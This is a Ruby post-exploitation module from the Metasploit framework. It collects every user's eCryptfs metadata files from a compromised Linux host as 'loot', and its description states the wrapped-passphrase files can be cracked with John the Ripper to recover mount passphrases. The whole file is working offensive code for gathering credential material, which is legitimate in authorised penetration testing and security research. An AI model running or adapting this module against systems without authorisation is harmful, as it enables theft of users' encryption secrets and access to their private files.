1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Post::Unix
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Gather eCryptfs Metadata',
15
        'Description' => %q{
16
          This module will collect the contents of all users' .ecrypts directories on
17
          the targeted machine. Collected "wrapped-passphrase" files can be
18
          cracked with John the Ripper (JtR) to recover "mount passphrases".
19
        },
20
        'License' => MSF_LICENSE,
21
        'Author' => ['Dhiru Kholia <dhiru[at]openwall.com>'],
22
        'Platform' => ['linux'],
23
        'SessionTypes' => ['shell'],
24
        'Notes' => {
25
          'Stability' => [CRASH_SAFE],
26
          'SideEffects' => [],
27
          'Reliability' => []
28
        }
29
      )
30
    )
31
  end
32

33
  # This module is largely based on ssh_creds, gpg_creds and firefox_creds.rb.
34

35
  def run
36
    print_status('Finding .ecryptfs directories')
37
    paths = enum_user_directories.map { |d| d + '/.ecryptfs' }
38
    # Array#select! is only in 1.9
39
    paths = paths.select { |d| directory?(d) }
40

41
    if paths.nil? || paths.empty?
42
      print_error('No users found with a .ecryptfs directory')
43
      return
44
    end
45

46
    download_loot(paths)
47
  end
48

49
  def download_loot(paths)
50
    print_status("Looting #{paths.count} directories")
51
    paths.each do |path|
52
      path.chomp!
53
      sep = '/'
54
      files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
55

56
      files.each do |file|
57
        target = "#{path}#{sep}#{file}"
58
        if directory?(target)
59
          next
60
        end
61

62
        print_status("Downloading #{path}#{sep}#{file} -> #{file}")
63
        data = read_file(target)
64
        file = file.split(sep).last
65
        loot_path = store_loot("ecryptfs.#{file}", 'text/plain', session, data,
66
                               nil, "eCryptfs #{file} File")
67
        print_good("File stored in: #{loot_path}")
68
      end
69
    end
70
  end
71
end
72

73